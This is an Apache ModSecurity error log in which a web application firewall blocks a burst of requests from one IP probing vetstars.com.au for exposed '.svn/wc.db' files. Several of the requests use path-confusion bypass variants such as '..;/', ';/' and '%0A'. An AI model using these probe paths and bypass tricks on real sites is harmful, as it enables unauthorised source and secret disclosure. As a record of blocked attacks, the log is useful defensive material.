[Mon Dec 01 19:49:30.527342 2025] [:error] [pid 5120:tid 5134] [client 213.21.239.4:57368] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.svn/wc.db"] [unique_id "aS2Ayj5X7_hfFhnUCkLSFQAAAUw"]
[Mon Dec 01 19:49:30.527592 2025] [:error] [pid 3307:tid 3313] [client 213.21.239.4:57300] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/content../.svn/wc.db"] [unique_id "aS2AykhV_0w1hrv72n78sgAAAQQ"]
[Mon Dec 01 19:49:30.529506 2025] [:error] [pid 5158:tid 5165] [client 213.21.239.4:57392] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/data/.svn/wc.db"] [unique_id "aS2AylsnIOgHXYZw9rYy0gAAAYU"]
[Mon Dec 01 19:49:33.702395 2025] [:error] [pid 3343:tid 3346] [client 213.21.239.4:54134] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/.svn/%0Awc.db"] [unique_id "aS2AzbLh6htIpruGDDnPngAAAAE"]
[Mon Dec 01 19:49:33.704337 2025] [:error] [pid 3343:tid 3352] [client 213.21.239.4:54184] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/.svn/wc.db;"] [unique_id "aS2AzbLh6htIpruGDDnPnwAAAAc"]
[Mon Dec 01 19:49:33.704779 2025] [:error] [pid 3246:tid 3251] [client 213.21.239.4:54146] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au../.svn/wc.db"] [unique_id "aS2AzVkT8fezoNl7qjd_RAAAAEI"]
[Mon Dec 01 19:49:33.706178 2025] [:error] [pid 3343:tid 3360] [client 213.21.239.4:54278] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/;/.svn/wc.db"] [unique_id "aS2AzbLh6htIpruGDDnPoAAAAA8"]
[Mon Dec 01 19:49:33.706507 2025] [:error] [pid 3246:tid 3269] [client 213.21.239.4:54250] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db;.."] [unique_id "aS2AzVkT8fezoNl7qjd_RQAAAFQ"]
[Mon Dec 01 19:49:33.709748 2025] [:error] [pid 5120:tid 5147] [client 213.21.239.4:54314] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/wc.db"] [unique_id "aS2AzT5X7_hfFhnUCkLSHgAAAVg"]
[Mon Dec 01 19:49:33.710619 2025] [:error] [pid 3247:tid 3280] [client 213.21.239.4:54152] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars../.svn/wc.db"] [unique_id "aS2AzSMO2n3Q0MZfETIy1QAAAMQ"]
[Mon Dec 01 19:49:33.712353 2025] [:error] [pid 3246:tid 3258] [client 213.21.239.4:54254] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/static../.svn/wc.db"] [unique_id "aS2AzVkT8fezoNl7qjd_RgAAAEk"]
[Mon Dec 01 19:49:33.713023 2025] [:error] [pid 3246:tid 3262] [client 213.21.239.4:54182] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/.svn/wc.db"] [unique_id "aS2AzVkT8fezoNl7qjd_RwAAAE0"]
[Mon Dec 01 19:49:33.715466 2025] [:error] [pid 3343:tid 3350] [client 213.21.239.4:54216] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars/wc.db"] [unique_id "aS2AzbLh6htIpruGDDnPoQAAAAU"]
[Mon Dec 01 19:49:33.717996 2025] [:error] [pid 3343:tid 3362] [client 213.21.239.4:54172] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/..;/.svn/wc.db"] [unique_id "aS2AzbLh6htIpruGDDnPogAAABE"]
[Mon Dec 01 19:49:33.718154 2025] [:error] [pid 3343:tid 3357] [client 213.21.239.4:54198] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/.svn/wc.db;.."] [unique_id "aS2AzbLh6htIpruGDDnPpAAAAAw"]
[Mon Dec 01 19:49:33.718776 2025] [:error] [pid 3343:tid 3368] [client 213.21.239.4:54336] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn/%0Awc.db"] [unique_id "aS2AzbLh6htIpruGDDnPpQAAABc"]
[Mon Dec 01 19:49:33.718978 2025] [:error] [pid 3343:tid 3367] [client 213.21.239.4:54234] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db;"] [unique_id "aS2AzbLh6htIpruGDDnPpgAAABY"]
[Mon Dec 01 19:49:33.719659 2025] [:error] [pid 3343:tid 3355] [client 213.21.239.4:54280] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/events../.svn/wc.db"] [unique_id "aS2AzbLh6htIpruGDDnPowAAAAo"]
[Mon Dec 01 19:49:33.721521 2025] [:error] [pid 3246:tid 3257] [client 213.21.239.4:54256] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn;/wc.db"] [unique_id "aS2AzVkT8fezoNl7qjd_SAAAAEg"]
[Mon Dec 01 19:49:33.722850 2025] [:error] [pid 3246:tid 3266] [client 213.21.239.4:54300] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au../wc.db"] [unique_id "aS2AzVkT8fezoNl7qjd_SQAAAFE"]
[Mon Dec 01 19:49:33.726600 2025] [:error] [pid 3247:tid 3284] [client 213.21.239.4:54204] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db"] [unique_id "aS2AzSMO2n3Q0MZfETIy1gAAAMg"]
[Mon Dec 01 19:49:33.727494 2025] [:error] [pid 3246:tid 3264] [client 213.21.239.4:54162] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/..;/.svn/wc.db"] [unique_id "aS2AzVkT8fezoNl7qjd_SgAAAE8"]
[Mon Dec 01 19:49:33.728465 2025] [:error] [pid 3247:tid 3286] [client 213.21.239.4:54326] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/static../.svn/wc.db"] [unique_id "aS2AzSMO2n3Q0MZfETIy1wAAAMo"]
[Mon Dec 01 19:49:33.731417 2025] [:error] [pid 3343:tid 3356] [client 213.21.239.4:54230] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/;/.svn/wc.db"] [unique_id "aS2AzbLh6htIpruGDDnPpwAAAAs"]
[Mon Dec 01 19:49:33.733322 2025] [:error] [pid 3384:tid 3408] [client 213.21.239.4:54270] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/dot.svn/wc.db"] [unique_id "aS2AzYrlvm8bC96s6ZFP8AAAAJY"]
[Mon Dec 01 19:49:33.733747 2025] [:error] [pid 3247:tid 3282] [client 213.21.239.4:54290] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/flock/.svn/wc.db"] [unique_id "aS2AzSMO2n3Q0MZfETIy2AAAAMY"]
[Mon Dec 01 19:49:33.735387 2025] [:error] [pid 3307:tid 3309] [client 213.21.239.4:54328] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/%0Awc.db"] [unique_id "aS2AzUhV_0w1hrv72n78vAAAAQA"]
[Mon Dec 01 19:49:33.737575 2025] [:error] [pid 3384:tid 3389] [client 213.21.239.4:54202] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars/.svn;/wc.db"] [unique_id "aS2AzYrlvm8bC96s6ZFP8QAAAIM"]
[Mon Dec 01 19:49:36.711151 2025] [:error] [pid 5120:tid 5131] [client 213.21.239.4:54340] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/message-api/.svn/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSIQAAAUk"]
[Mon Dec 01 19:49:36.711332 2025] [:error] [pid 5120:tid 5145] [client 213.21.239.4:54378] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db;"] [unique_id "aS2A0D5X7_hfFhnUCkLSIgAAAVY"]
[Mon Dec 01 19:49:36.713434 2025] [:error] [pid 3307:tid 3333] [client 213.21.239.4:54494] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/images../.svn/wc.db"] [unique_id "aS2A0EhV_0w1hrv72n78vwAAARg"]
[Mon Dec 01 19:49:36.714609 2025] [:error] [pid 5120:tid 5141] [client 213.21.239.4:54430] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/prod/.svn/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSIwAAAVI"]
[Mon Dec 01 19:49:36.716589 2025] [:error] [pid 5120:tid 5126] [client 213.21.239.4:54516] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/js../.svn/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSJAAAAUQ"]
[Mon Dec 01 19:49:36.717220 2025] [:error] [pid 3384:tid 3403] [client 213.21.239.4:54368] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db"] [unique_id "aS2A0Irlvm8bC96s6ZFP8wAAAJE"]
[Mon Dec 01 19:49:36.719253 2025] [:error] [pid 5120:tid 5135] [client 213.21.239.4:54374] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/new/.svn/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSJQAAAU0"]
[Mon Dec 01 19:49:36.720981 2025] [:error] [pid 5120:tid 5129] [client 213.21.239.4:54492] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/svn/.svn/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSJwAAAUc"]
[Mon Dec 01 19:49:36.722922 2025] [:error] [pid 5158:tid 5166] [client 213.21.239.4:54586] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/live/.svn/wc.db"] [unique_id "aS2A0FsnIOgHXYZw9rYy3QAAAYY"]
[Mon Dec 01 19:49:36.723230 2025] [:error] [pid 5120:tid 5142] [client 213.21.239.4:54416] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/.svn;/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSJgAAAVM"]
[Mon Dec 01 19:49:36.723297 2025] [:error] [pid 5120:tid 5132] [client 213.21.239.4:54460] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.svn/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSKAAAAUo"]
[Mon Dec 01 19:49:36.724072 2025] [:error] [pid 5120:tid 5127] [client 213.21.239.4:54550] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/lib../.svn/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSKQAAAUU"]
[Mon Dec 01 19:49:36.728362 2025] [:error] [pid 5120:tid 5128] [client 213.21.239.4:54404] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/prod.svn/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSKgAAAUY"]
[Mon Dec 01 19:49:36.729130 2025] [:error] [pid 3384:tid 3388] [client 213.21.239.4:54446] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db;.."] [unique_id "aS2A0Irlvm8bC96s6ZFP9AAAAII"]
[Mon Dec 01 19:49:36.729221 2025] [:error] [pid 5120:tid 5138] [client 213.21.239.4:54484] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/wc.db"] [unique_id "aS2A0D5X7_hfFhnUCkLSKwAAAVA"]
[Mon Dec 01 19:49:36.729759 2025] [:error] [pid 3384:tid 3399] [client 213.21.239.4:54470] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/;/.svn/wc.db"] [unique_id "aS2A0Irlvm8bC96s6ZFP9QAAAI0"]
[Mon Dec 01 19:49:36.732750 2025] [:error] [pid 3247:tid 3279] [client 213.21.239.4:54538] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/qa/.svn/wc.db"] [unique_id "aS2A0CMO2n3Q0MZfETIy2wAAAMM"]
[Mon Dec 01 19:49:36.733150 2025] [:error] [pid 5158:tid 5167] [client 213.21.239.4:54558] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au../wc.db"] [unique_id "aS2A0FsnIOgHXYZw9rYy3gAAAYc"]
[Mon Dec 01 19:49:36.735286 2025] [:error] [pid 3247:tid 3289] [client 213.21.239.4:54582] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/media../.svn/wc.db"] [unique_id "aS2A0CMO2n3Q0MZfETIy3AAAAM0"]
[Mon Dec 01 19:49:36.737054 2025] [:error] [pid 3247:tid 3285] [client 213.21.239.4:54354] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/m/.svn/wc.db"] [unique_id "aS2A0CMO2n3Q0MZfETIy3QAAAMk"]
[Mon Dec 01 19:49:36.737829 2025] [:error] [pid 3247:tid 3280] [client 213.21.239.4:54500] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/img../.svn/wc.db"] [unique_id "aS2A0CMO2n3Q0MZfETIy3gAAAMQ"]
[Mon Dec 01 19:49:36.742308 2025] [:error] [pid 3247:tid 3277] [client 213.21.239.4:54394] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/old-cuburn/.svn/wc.db"] [unique_id "aS2A0CMO2n3Q0MZfETIy3wAAAME"]
[Mon Dec 01 19:49:36.742311 2025] [:error] [pid 5158:tid 5174] [client 213.21.239.4:54530] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/..;/.svn/wc.db"] [unique_id "aS2A0FsnIOgHXYZw9rYy3wAAAY4"]
[Mon Dec 01 19:49:36.743290 2025] [:error] [pid 3247:tid 3284] [client 213.21.239.4:54574] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/__MACOSX/.svn/wc.db"] [unique_id "aS2A0CMO2n3Q0MZfETIy4AAAAMg"]
[Mon Dec 01 19:49:39.713485 2025] [:error] [pid 3247:tid 3289] [client 213.21.239.4:54614] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/..;/.svn/wc.db"] [unique_id "aS2A0yMO2n3Q0MZfETIy5AAAAM0"]
